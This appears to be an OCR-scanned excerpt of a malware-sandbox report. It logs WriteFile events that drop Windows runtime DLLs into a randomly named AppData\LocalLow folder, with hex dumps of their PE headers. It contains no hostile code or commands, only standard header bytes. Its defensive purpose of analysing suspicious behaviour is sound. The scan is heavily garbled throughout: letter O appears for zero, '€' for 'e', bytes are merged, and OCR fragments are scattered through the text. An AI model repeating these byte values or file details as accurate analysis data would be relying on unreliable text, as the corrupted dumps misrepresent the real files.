54 68 69 73 20 70 72
6f 67 72 61 6d 20 63
61 6e 6e 6f 74 20 62
6520 72 75 6e 20 69
6e 20 44 4f 53 20 6d
6f 64 65 2e 0d 0d Oa
2400 00 00 00 00 00
00 db 6d Ob c1 9f Oc
65 92 9f Oc 65 92 9f
Oc 65 92 ec 6e 65 93
9e Oc 65 92 ec 6e 61
93 9d Oc 65 92 ec 6e
9a 92 9e Oc 65 92 ec
6e 67 93 9e Oc 65 92
52 69 63 68 9f Oc 65
92 50 45 00 00 4c 01
02 00 b3 4e 45 c2 00
00 00 00 00 00 00 00
€0 00 02 21 Ob 01 Oe
0a 00 14 00 00 00 04
00 00 00 00 00 00 00
00 00 00 00 10 00 00
00 30 00 00 00 00 00
10 00 10 00 00 00 02
00 00 0a 00 00 00 Oa
00 00

cannot be run in DOS
mode....

............ 1..L.IThis program

cannot be run in DOS
mode....
$...

N[ | S Y it I ] S B

e..na...e..n....e..ng...e.Rich

LPEJLNE

.1..L.IThis program

Completion

success or wait

success or wait

Source

Count Address Symbol

2

2

41ACBE WriteFile

41ACBE WriteFile
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File Path

C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-
win-crt-environment-11-1-0.dll

C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-
win-crt-filesystem-11-1-0.dll

Copyright null 2021

Offset Length Value

unknown 16384

unknown 16384

4d 5a 90 00 03 00 00
00 04 00 00 00 ff ff 00
00 b8 00 00 00 00 00
00 00 40 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 b8 00 00 00
Oe 1f ba Oe 00 b4 09
cd 21 b8 01 4c cd 21
54 68 69 73 20 70 72
6f 67 72 61 6d 20 63
61 6e 6e 6f 74 20 62
65 20 72 75 6e 20 69
6e 20 44 4f 53 20 6d
6f 64 65 2e 0d 0d Oa
2400 00 00 00 00 00
00 db 6d Ob c1 9f Oc
65 92 9f Oc 65 92 9f
Oc 65 92 ec 6e 65 93
9e Oc 65 92 ec 6e 61
93 9d Oc 65 92 ec 6e
9a 92 9e Oc 65 92 ec
6e 67 93 9e Oc 65 92
52 69 63 68 9f Oc 65
92 50 45 00 00 4c 01
02 00 c6 6a 55 04 00
00 00 00 00 00 00 00
€0 00 02 21 Ob 01 Oe
0a 00 06 00 00 00 04
00 00 00 00 00 00 00
00 00 00 00 10 00 00
00 20 00 00 00 00 00
10 00 10 00 00 00 02
00 00 0a 00 00 00 Oa
00 00

4d 5a 90 00 03 00 00
00 04 00 00 00 ff ff 00
00 b8 00 00 00 00 00
00 00 40 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 b8 00 00 00
Oe 1f ba Oe 00 b4 09
cd 21 b8 01 4c cd 21
54 68 69 73 20 70 72
6f 67 72 61 6d 20 63
61 6e 6e 6f 74 20 62
6520 72 75 6e 20 69
6e 20 44 4f 53 20 6d
6f 64 65 2e 0d 0d Oa
2400 00 00 00 00 00
00 db 6d Ob c1 9f Oc
65 92 9f Oc 65 92 9f
Oc 65 92 ec 6e 65 93
9e Oc 65 92 ec 6e 61
93 9d Oc 65 92 ec 6e
9a 92 9e Oc 65 92 ec
6e 67 93 9e Oc 65 92
52 69 63 68 9f Oc 65
92 50 45 00 00 4c 01
02 00 95 96 ad 68 00
00 00 00 00 00 00 00
€0 00 02 21 Ob 01 Oe
0a 00 Oc 00 00 00 04
00 00 00 00 00 00 00
00 00 00 00 10 00 00
00 20 00 00 00 00 00
10 00 10 00 00 00 02
00 00 0a 00 00 00 Oa
00 00

cannot be run in DOS
mode....

............ 1..L.IThis program

cannot be run in DOS
mode....
$...

N S Y Tt S ] B

e..na...e..n....e..ng...e.Rich

.1..L.IThis program

Completion

success or wait

success or wait

Source

Count Address Symbol

2

2

41ACBE WriteFile

41ACBE WriteFile
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File Path

C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-

win-crt-heap-11-1-0.dll

C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-

win-crt-locale-I1-1-0.dlI

Copyright null 2021

Offset Length Value

unknown 16384

unknown 16384

4d 5a 90 00 03 00 00
00 04 00 00 00 ff ff 00
00 b8 00 00 00 00 00
00 00 40 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 b8 00 00 00
Oe 1f ba Oe 00 b4 09
cd 21 b8 01 4c cd 21
54 68 69 73 20 70 72
6f 67 72 61 6d 20 63
61 6e 6e 6f 74 20 62
65 20 72 75 6e 20 69
6e 20 44 4f 53 20 6d
6f 64 65 2e 0d 0d Oa
24 00 00 00 00 00 00
00 db 6d Ob c1 9f Oc
65 92 9f Oc 65 92 9f
Oc 65 92 ec 6e 65 93
9e Oc 65 92 ec 6e 61
93 9d Oc 65 92 ec 6e
9a 92 9e Oc 65 92 ec
6e 67 93 9e Oc 65 92
52 69 63 68 9f Oc 65
92 50 45 00 00 4c 01
02 00 4a fc 6f 20 00
00 00 00 00 00 00 00
€0 00 02 21 Ob 01 Oe
0a 00 08 00 00 00 04
00 00 00 00 00 00 00
00 00 00 00 10 00 00
00 20 00 00 00 00 00
10 00 10 00 00 00 02
00 00 0a 00 00 00 Oa
00 00

4d 5a 90 00 03 00 00
00 04 00 00 00 ff ff 00
00 b8 00 00 00 00 00
00 00 40 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 b8 00 00 00
Oe 1f ba Oe 00 b4 09
cd 21 b8 01 4c cd 21
54 68 69 73 20 70 72
6f 67 72 61 6d 20 63
61 6e 6e 6f 74 20 62
6520 72 75 6e 20 69
6e 20 44 4f 53 20 6d
6f 64 65 2e 0d 0d Oa
2400 00 00 00 00 00
00 db 6d Ob c1 9f Oc
65 92 9f Oc 65 92 of
Oc 65 92 ec 6e 65 93
9e Oc 65 92 ec 6e 61
93 9d Oc 65 92 ec 6e
9a 92 9e Oc 65 92 ec
6e 67 93 9e Oc 65 92
52 69 63 68 9f Oc 65
92 50 45 00 00 4c 01
02 00 7c Of de 4f 00
00 00 00 00 00 00 00
€0 00 02 21 Ob 01 Oe
0a 00 06 00 00 00 04
00 00 00 00 00 00 00
00 00 00 00 10 00 00
00 20 00 00 00 00 00
10 00 10 00 00 00 02
00 00 0a 00 00 00 Oa
00 00

cannot be run in DOS
mode....

e..na..e..n
.e.PE.L..Jo L.

............ I..L.IThis program

cannot be run in DOS
mode....
$...

N S I Rt I ] S B

e..na...e..n....e..ng...e.Rich

.e.PE..L..|..0.

.1..L.IThis program

.e..ng...e.Rich

Completion

success or wait

success or wait

Source

Count Address Symbol

2

2

41ACBE WriteFile

41ACBE WriteFile
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File Path

C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-

win-crt-math-11-1-0.dll

C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-
win-crt-multibyte-11-1-0.dll

Copyright null 2021

Offset Length Value

unknown 16384

unknown 16384

4d 5a 90 00 03 00 00
00 04 00 00 00 ff ff 00
00 b8 00 00 00 00 00
00 00 40 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 b8 00 00 00
Oe 1f ba Oe 00 b4 09
cd 21 b8 01 4c cd 21
54 68 69 73 20 70 72
6f 67 72 61 6d 20 63
61 6e 6e 6f 74 20 62
65 20 72 75 6e 20 69
6e 20 44 4f 53 20 6d
6f 64 65 2e 0d 0d Oa
2400 00 00 00 00 00
00 db 6d Ob c1 9f Oc
65 92 9f Oc 65 92 9f
Oc 65 92 ec 6e 65 93
9e Oc 65 92 ec 6e 61
93 9d Oc 65 92 ec 6e
9a 92 9e Oc 65 92 ec
6e 67 93 9e Oc 65 92
52 69 63 68 9f Oc 65
92 50 45 00 00 4c 01
02 00 a2 17 f8 17 00
00 00 00 00 00 00 00
€0 00 02 21 Ob 01 Oe
0a 00 2e 00 00 00 04
00 00 00 00 00 00 00
00 00 00 00 10 00 00
00 40 00 00 00 00 00
10 00 10 00 00 00 02
00 00 0a 00 00 00 Oa
00 00

4d 5a 90 00 03 00 00
00 04 00 00 00 ff ff 00
00 b8 00 00 00 00 00
00 00 40 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 b8 00 00 00
Oe 1f ba Oe 00 b4 09
cd 21 b8 01 4c cd 21
54 68 69 73 20 70 72
6f 67 72 61 6d 20 63
61 6e 6e 6f 74 20 62
6520 72 75 6e 20 69
6e 20 44 4f 53 20 6d
6f 64 65 2e 0d 0d Oa
2400 00 00 00 00 00
00 db 6d Ob c1 9f Oc
65 92 9f Oc 65 92 9f
Oc 65 92 ec 6e 65 93
9e Oc 65 92 ec 6e 61
93 9d Oc 65 92 ec 6e
9a 92 9e Oc 65 92 ec
6e 67 93 9e Oc 65 92
52 69 63 68 9f Oc 65
92 50 45 00 00 4c 01
02 00 Oa 75 27 9f 00
00 00 00 00 00 00 00
€0 00 02 21 Ob 01 Oe
0a 00 24 00 00 00 04
00 00 00 00 00 00 00
00 00 00 00 10 00 00
00 40 00 00 00 00 00
10 00 10 00 00 00 02
00 00 0a 00 00 00 Oa
00 00

cannot be run in DOS
mode....

............ 1..L.IThis program

cannot be run in DOS
mode....
$...

N S Y Tt S ] B

e..na...e..n....e..ng...e.Rich

.e.PE.L..u" I,

.1..L.IThis program

Completion

success or wait

success or wait

Source

Count Address Symbol

2

2

41ACBE WriteFile

41ACBE WriteFile
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File Path

C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-

win-crt-private-11-1-0.dll

C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-
win-crt-process-11-1-0.dll

Copyright null 2021

Offset Length Value

unknown 16384

unknown 16384

4d 5a 90 00 03 00 00
00 04 00 00 00 ff ff 00
00 b8 00 00 00 00 00
00 00 40 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 b8 00 00 00
Oe 1f ba Oe 00 b4 09
cd 21 b8 01 4c cd 21
54 68 69 73 20 70 72
6f 67 72 61 6d 20 63
61 6e 6e 6f 74 20 62
65 20 72 75 6e 20 69
6e 20 44 4f 53 20 6d
6f 64 65 2e 0d 0d Oa
2400 00 00 00 00 00
00 db 6d Ob c1 9f Oc
65 92 9f Oc 65 92 9f
Oc 65 92 ec 6e 65 93
9e Oc 65 92 ec 6e 61
93 9d Oc 65 92 ec 6e
9a 92 9e Oc 65 92 ec
6e 67 93 9e Oc 65 92
52 69 63 68 9f Oc 65
92 50 45 00 00 4c 01
02 00 9d c7 5e 31 00
00 00 00 00 00 00 00
€0 00 02 21 Ob 01 Oe
0a 00 da 00 00 00 04
00 00 00 00 00 00 00
00 00 00 00 10 00 00
00 fO 00 00 00 00 00
10 00 10 00 00 00 02
00 00 0a 00 00 00 Oa
00 00

4d 5a 90 00 03 00 00
00 04 00 00 00 ff ff 00
00 b8 00 00 00 00 00
00 00 40 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 b8 00 00 00
Oe 1f ba Oe 00 b4 09
cd 21 b8 01 4c cd 21
54 68 69 73 20 70 72
6f 67 72 61 6d 20 63
61 6e 6e 6f 74 20 62
6520 72 75 6e 20 69
6e 20 44 4f 53 20 6d
6f 64 65 2e 0d 0d Oa
2400 00 00 00 00 00
00 db 6d Ob c1 9f Oc
65 92 9f Oc 65 92 9f
Oc 65 92 ec 6e 65 93
9e Oc 65 92 ec 6e 61
93 9d Oc 65 92 ec 6e
9a 92 9e Oc 65 92 ec
6e 67 93 9e Oc 65 92
52 69 63 68 9f Oc 65
92 50 45 00 00 4c 01
02 00 6¢ 1a 68 b4 00
00 00 00 00 00 00 00
€0 00 02 21 Ob 01 Oe
0a 00 08 00 00 00 04
00 00 00 00 00 00 00
00 00 00 00 10 00 00
00 20 00 00 00 00 00
10 00 10 00 00 00 02
00 00 0a 00 00 00 Oa
00 00

cannot be run in DOS
mode....

MO EM | BE 11 s

............ 1..L.IThis program

cannot be run in DOS
mode....
$...

N S Y Tt S ] B

e..na...e..n....e..ng...e.Rich

.ePE.L.Lh

.1..L.IThis program

.e..ng...e.Rich

Completion

success or wait

success or wait

Source

Count Address Symbol

5

2

41ACBE WriteFile

41ACBE WriteFile
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File Path

C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-

win-crt-runtime-|1-1-0.dll

C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-

win-crt-stdio-11-1-0.dll

Copyright null 2021

Offset Length Value

unknown 16384

unknown 16384

4d 5a 90 00 03 00 00
00 04 00 00 00 ff ff 00
00 b8 00 00 00 00 00
00 00 40 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 b8 00 00 00
Oe 1f ba Oe 00 b4 09
cd 21 b8 01 4c cd 21
54 68 69 73 20 70 72
6f 67 72 61 6d 20 63
61 6e 6e 6f 74 20 62
65 20 72 75 6e 20 69
6e 20 44 4f 53 20 6d
6f 64 65 2e 0d 0d Oa
2400 00 00 00 00 00
00 db 6d Ob c1 9f Oc
65 92 9f Oc 65 92 9f
Oc 65 92 ec 6e 65 93
9e Oc 65 92 ec 6e 61
93 9d Oc 65 92 ec 6e
9a 92 9e Oc 65 92 ec
6e 67 93 9e Oc 65 92
52 69 63 68 9f Oc 65
92 50 45 00 00 4c 01
02 00 08 df 4c 08 00
00 00 00 00 00 00 00
€0 00 02 21 Ob 01 Oe
0a 00 16 00 00 00 04
00 00 00 00 00 00 00
00 00 00 00 10 00 00
00 30 00 00 00 00 00
10 00 10 00 00 00 02
00 00 0a 00 00 00 Oa
00 00

4d 5a 90 00 03 00 00
00 04 00 00 00 ff ff 00
00 b8 00 00 00 00 00
00 00 40 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 b8 00 00 00
Oe 1f ba Oe 00 b4 09
cd 21 b8 01 4c cd 21
54 68 69 73 20 70 72
6f 67 72 61 6d 20 63
61 6e 6e 6f 74 20 62
6520 72 75 6e 20 69
6e 20 44 4f 53 20 6d
6f 64 65 2e 0d 0d Oa
2400 00 00 00 00 00
00 db 6d Ob c1 9f Oc
65 92 9f Oc 65 92 9f
Oc 65 92 ec 6e 65 93
9e Oc 65 92 ec 6e 61
93 9d Oc 65 92 ec 6e
9a 92 9e Oc 65 92 ec
6e 67 93 9e Oc 65 92
52 69 63 68 9f Oc 65
92 50 45 00 00 4c 01
02 00 1c 09 d5 e0 00
00 00 00 00 00 00 00
€0 00 02 21 Ob 01 Oe
0a 00 1c 00 00 00 04
00 00 00 00 00 00 00
00 00 00 00 10 00 00
00 30 00 00 00 00 00
10 00 10 00 00 00 02
00 00 0a 00 00 00 Oa
00 00

cannot be run in DOS
mode....

............ 1..L.IThis program

cannot be run in DOS
mode....
$...

N S Y Tt S ] B

e..na...e..n....e..ng...e.Rich
|

.1..L.IThis program

Completion

success or wait

success or wait

Source

Count Address Symbol

2

2

41ACBE WriteFile

41ACBE WriteFile
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File Path

C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-

win-crt-string-11-1-0.dll

C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-

win-crt-time-11-1-0.dll

Copyright null 2021

Offset Length Value

unknown 16384

unknown 16384

4d 5a 90 00 03 00 00
00 04 00 00 00 ff ff 00
00 b8 00 00 00 00 00
00 00 40 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 b8 00 00 00
Oe 1f ba Oe 00 b4 09
cd 21 b8 01 4c cd 21
54 68 69 73 20 70 72
6f 67 72 61 6d 20 63
61 6e 6e 6f 74 20 62
65 20 72 75 6e 20 69
6e 20 44 4f 53 20 6d
6f 64 65 2e 0d 0d Oa
24 00 00 00 00 00 00
00 db 6d Ob c1 9f Oc
65 92 9f Oc 65 92 9f
Oc 65 92 ec 6e 65 93
9e Oc 65 92 ec 6e 61
93 9d Oc 65 92 ec 6e
9a 92 9e Oc 65 92 ec
6e 67 93 9e Oc 65 92
52 69 63 68 9f Oc 65
92 50 45 00 00 4c 01
02 00 01 bc a7 53 00
00 00 00 00 00 00 00
€0 00 02 21 Ob 01 Oe
0a 00 1c 00 00 00 04
00 00 00 00 00 00 00
00 00 00 00 10 00 00
00 30 00 00 00 00 00
10 00 10 00 00 00 02
00 00 0a 00 00 00 Oa
00 00

4d 5a 90 00 03 00 00
00 04 00 00 00 ff ff 00
00 b8 00 00 00 00 00
00 00 40 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 b8 00 00 00
Oe 1f ba Oe 00 b4 09
cd 21 b8 01 4c cd 21
54 68 69 73 20 70 72
6f 67 72 61 6d 20 63
61 6e 6e 6f 74 20 62
6520 72 75 6e 20 69
6e 20 44 4f 53 20 6d
6f 64 65 2e 0d 0d Oa
2400 00 00 00 00 00
00 db 6d Ob c1 9f Oc
65 92 9f Oc 65 92 of
Oc 65 92 ec 6e 65 93
9e Oc 65 92 ec 6e 61
93 9d Oc 65 92 ec 6e
9a 92 9e Oc 65 92 ec
6e 67 93 9e Oc 65 92
52 69 63 68 9f Oc 65
92 50 45 00 00 4c 01
02 00 e0 b2 4f 49 00
00 00 00 00 00 00 00
€0 00 02 21 Ob 01 Oe
0a 00 Oe 00 00 00 04
00 00 00 00 00 00 00
00 00 00 00 10 00 00
00 20 00 00 00 00 00
10 00 10 00 00 00 02
00 00 0a 00 00 00 Oa
00 00

cannot be run in DOS
mode....

............ 1..L.IThis program

cannot be run in DOS
mode....
$...

N S Y Tt S ] B

e..na...e..n....e..ng...e.Rich

MCIREN B ©)1)

.1..L.IThis program

Completion

success or wait

success or wait

Source

Count Address Symbol

2

2

41ACBE WriteFile

41ACBE WriteFile
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File Path

C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-

win-crt-utility-11-1-0.dll

C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-

win-core-file-11-2-0.dll

Copyright null 2021

Offset Length Value

unknown 16384

unknown 16384

4d 5a 90 00 03 00 00
00 04 00 00 00 ff ff 00
00 b8 00 00 00 00 00
00 00 40 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 b8 00 00 00
Oe 1f ba Oe 00 b4 09
cd 21 b8 01 4c cd 21
54 68 69 73 20 70 72
6f 67 72 61 6d 20 63
61 6e 6e 6f 74 20 62
65 20 72 75 6e 20 69
6e 20 44 4f 53 20 6d
6f 64 65 2e 0d 0d Oa
24 00 00 00 00 00 00
00 db 6d Ob c1 9f Oc
65 92 9f Oc 65 92 9f
Oc 65 92 ec 6e 65 93
9e Oc 65 92 ec 6e 61
93 9d Oc 65 92 ec 6e
9a 92 9e Oc 65 92 ec
6e 67 93 9e Oc 65 92
52 69 63 68 9f Oc 65
92 50 45 00 00 4c 01
02 00 1le 21 35 ff 00
00 00 00 00 00 00 00
€0 00 02 21 Ob 01 Oe
0a 00 06 00 00 00 04
00 00 00 00 00 00 00
00 00 00 00 10 00 00
00 20 00 00 00 00 00
10 00 10 00 00 00 02
00 00 0a 00 00 00 Oa
00 00

4d 5a 90 00 03 00 00
00 04 00 00 00 ff ff 00
00 b8 00 00 00 00 00
00 00 40 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 b8 00 00 00
Oe 1f ba Oe 00 b4 09
cd 21 b8 01 4c cd 21
54 68 69 73 20 70 72
6f 67 72 61 6d 20 63
61 6e 6e 6f 74 20 62
6520 72 75 6e 20 69
6e 20 44 4f 53 20 6d
6f 64 65 2e 0d 0d Oa
2400 00 00 00 00 00
00 db 6d Ob c1 9f Oc
65 92 9f Oc 65 92 of
Oc 65 92 ec 6e 65 93
9e Oc 65 92 ec 6e 61
93 9d Oc 65 92 ec 6e
9a 92 9e Oc 65 92 ec
6e 67 93 9e Oc 65 92
52 69 63 68 9f Oc 65
92 50 45 00 00 4c 01
02 00 15 5f 81 4c 00
00 00 00 00 00 00 00
€0 00 02 21 Ob 01 Oe
0a 00 04 00 00 00 04
00 00 00 00 00 00 00
00 00 00 00 10 00 00
00 20 00 00 00 00 00
10 00 10 00 00 00 02
00 00 0a 00 00 00 Oa
00 00

cannot be run in DOS
mode....

N CT[2 M [ SR s

............ 1..L.IThis program

cannot be run in DOS
mode....
$...

N S I Rt I ] S B

e..na...e..n....e..ng...e.Rich

.1..L.IThis program

.e..ng...e.Rich

Completion

success or wait

success or wait

Source

Count Address Symbol

2

2

41ACBE WriteFile

41ACBE WriteFile
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File Path

C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-
win-core-file-12-1-0.dll

C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-
win-core-handle-11-1-0.dll

Copyright null 2021

Offset Length Value

unknown 16384

unknown 16384

4d 5a 90 00 03 00 00
00 04 00 00 00 ff ff 00
00 b8 00 00 00 00 00
00 00 40 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 b8 00 00 00
Oe 1f ba Oe 00 b4 09
cd 21 b8 01 4c cd 21
54 68 69 73 20 70 72
6f 67 72 61 6d 20 63
61 6e 6e 6f 74 20 62
65 20 72 75 6e 20 69
6e 20 44 4f 53 20 6d
6f 64 65 2e 0d 0d Oa
24 00 00 00 00 00 00
00 db 6d Ob c1 9f Oc
65 92 9f Oc 65 92 9f
Oc 65 92 ec 6e 65 93
9e Oc 65 92 ec 6e 61
93 9d Oc 65 92 ec 6e
9a 92 9e Oc 65 92 ec
6e 67 93 9e Oc 65 92
52 69 63 68 9f Oc 65
92 50 45 00 00 4c 01
02 00 34 ef df 7c 00
00 00 00 00 00 00 00
€0 00 02 21 Ob 01 Oe
0a 00 04 00 00 00 04
00 00 00 00 00 00 00
00 00 00 00 10 00 00
00 20 00 00 00 00 00
10 00 10 00 00 00 02
00 00 0a 00 00 00 Oa
00 00

4d 5a 90 00 03 00 00
00 04 00 00 00 ff ff 00
00 b8 00 00 00 00 00
00 00 40 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 b8 00 00 00
Oe 1f ba Oe 00 b4 09
cd 21 b8 01 4c cd 21
54 68 69 73 20 70 72
6f 67 72 61 6d 20 63
61 6e 6e 6f 74 20 62
6520 72 75 6e 20 69
6e 20 44 4f 53 20 6d
6f 64 65 2e 0d 0d Oa
2400 00 00 00 00 00
00 db 6d Ob c1 9f Oc
65 92 9f Oc 65 92 of
Oc 65 92 ec 6e 65 93
9e Oc 65 92 ec 6e 61
93 9d Oc 65 92 ec 6e
9a 92 9e Oc 65 92 ec
6e 67 93 9e Oc 65 92
52 69 63 68 9f Oc 65
92 50 45 00 00 4c 01
02 00 c9 e0 a3 47 00
00 00 00 00 00 00 00
€0 00 02 21 Ob 01 Oe
0a 00 04 00 00 00 04
00 00 00 00 00 00 00
00 00 00 00 10 00 00
00 20 00 00 00 00 00
10 00 10 00 00 00 02
00 00 0a 00 00 00 Oa
00 00

cannot be run in DOS
mode....

EodMElead@ss(
LEPE.L.A | L.

............ I..L.IThis program

cannot be run in DOS
mode....
$...

N S I Rt I ] S B

e..na...e..n....e..ng...e.Rich

.1..L.IThis program

.e..ng...e.Rich

Completion

success or wait

success or wait

Source

Count Address Symbol

2

2

41ACBE WriteFile

41ACBE WriteFile
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File Path

C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-

win-core-heap-11-1-0.dll

C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-
win-core-interlocked-11-1-0.dlI

Copyright null 2021

Offset Length Value

unknown 16384

unknown 16384

4d 5a 90 00 03 00 00
00 04 00 00 00 ff ff 00
00 b8 00 00 00 00 00
00 00 40 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 b8 00 00 00
Oe 1f ba Oe 00 b4 09
cd 21 b8 01 4c cd 21
54 68 69 73 20 70 72
6f 67 72 61 6d 20 63
61 6e 6e 6f 74 20 62
65 20 72 75 6e 20 69
6e 20 44 4f 53 20 6d
6f 64 65 2e 0d 0d Oa
2400 00 00 00 00 00
00 db 6d Ob c1 9f Oc
65 92 9f Oc 65 92 9f
Oc 65 92 ec 6e 65 93
9e Oc 65 92 ec 6e 61
93 9d Oc 65 92 ec 6e
9a 92 9e Oc 65 92 ec
6e 67 93 9e Oc 65 92
52 69 63 68 9f Oc 65
92 50 45 00 00 4c 01
02 00 b5 df 3a bf 00
00 00 00 00 00 00 00
€0 00 02 21 Ob 01 Oe
0a 00 04 00 00 00 04
00 00 00 00 00 00 00
00 00 00 00 10 00 00
00 20 00 00 00 00 00
10 00 10 00 00 00 02
00 00 0a 00 00 00 Oa
00 00

4d 5a 90 00 03 00 00
00 04 00 00 00 ff ff 00
00 b8 00 00 00 00 00
00 00 40 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 b8 00 00 00
Oe 1f ba Oe 00 b4 09
cd 21 b8 01 4c cd 21
54 68 69 73 20 70 72
6f 67 72 61 6d 20 63
61 6e 6e 6f 74 20 62
6520 72 75 6e 20 69
6e 20 44 4f 53 20 6d
6f 64 65 2e 0d 0d Oa
2400 00 00 00 00 00
00 db 6d Ob c1 9f Oc
65 92 9f Oc 65 92 9f
Oc 65 92 ec 6e 65 93
9e Oc 65 92 ec 6e 61
93 9d Oc 65 92 ec 6e
9a 92 9e Oc 65 92 ec
6e 67 93 9e Oc 65 92
52 69 63 68 9f Oc 65
92 50 45 00 00 4c 01
02 00 ab 24 06 9c 00
00 00 00 00 00 00 00
€0 00 02 21 Ob 01 Oe
0a 00 06 00 00 00 04
00 00 00 00 00 00 00
00 00 00 00 10 00 00
00 20 00 00 00 00 00
10 00 10 00 00 00 02
00 00 0a 00 00 00 Oa
00 00

cannot be run in DOS
mode....

............ 1..L.IThis program

cannot be run in DOS
mode....
$...

N S Y Tt S ] B

e..na...e..n....e..ng...e.Rich

.e.PE.L..$.

.1..L.IThis program

Completion

success or wait

success or wait

Source

Count Address Symbol

2

2

41ACBE WriteFile

41ACBE WriteFile
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File Path

C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-
win-core-libraryloader-11-1-0.dll

C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-
win-core-localization-11-2-0.dlI

Copyright null 2021

Offset Length Value

unknown 16384

unknown 16384

4d 5a 90 00 03 00 00
00 04 00 00 00 ff ff 00
00 b8 00 00 00 00 00
00 00 40 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 b8 00 00 00
Oe 1f ba Oe 00 b4 09
cd 21 b8 01 4c cd 21
54 68 69 73 20 70 72
6f 67 72 61 6d 20 63
61 6e 6e 6f 74 20 62
65 20 72 75 6e 20 69
6e 20 44 4f 53 20 6d
6f 64 65 2e 0d 0d Oa
2400 00 00 00 00 00
00 db 6d Ob c1 9f Oc
65 92 9f Oc 65 92 9f
Oc 65 92 ec 6e 65 93
9e Oc 65 92 ec 6e 61
93 9d Oc 65 92 ec 6e
9a 92 9e Oc 65 92 ec
6e 67 93 9e Oc 65 92
52 69 63 68 9f Oc 65
92 50 45 00 00 4c 01
02 00 d6 75 2a 6¢ 00
00 00 00 00 00 00 00
€0 00 02 21 Ob 01 Oe
0a 00 06 00 00 00 04
00 00 00 00 00 00 00
00 00 00 00 10 00 00
00 20 00 00 00 00 00
10 00 10 00 00 00 02
00 00 0a 00 00 00 Oa
00 00

4d 5a 90 00 03 00 00
00 04 00 00 00 ff ff 00
00 b8 00 00 00 00 00
00 00 40 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 b8 00 00 00
Oe 1f ba Oe 00 b4 09
cd 21 b8 01 4c cd 21
54 68 69 73 20 70 72
6f 67 72 61 6d 20 63
61 6e 6e 6f 74 20 62
6520 72 75 6e 20 69
6e 20 44 4f 53 20 6d
6f 64 65 2e 0d 0d Oa
2400 00 00 00 00 00
00 db 6d Ob c1 9f Oc
65 92 9f Oc 65 92 9f
Oc 65 92 ec 6e 65 93
9e Oc 65 92 ec 6e 61
93 9d Oc 65 92 ec 6e
9a 92 9e Oc 65 92 ec
6e 67 93 9e Oc 65 92
52 69 63 68 9f Oc 65
92 50 45 00 00 4c 01
02 00 53 bd 76 f4 00
00 00 00 00 00 00 00
€0 00 02 21 Ob 01 Oe
0a 00 Oe 00 00 00 04
00 00 00 00 00 00 00
00 00 00 00 10 00 00
00 20 00 00 00 00 00
10 00 10 00 00 00 02
00 00 0a 00 00 00 Oa
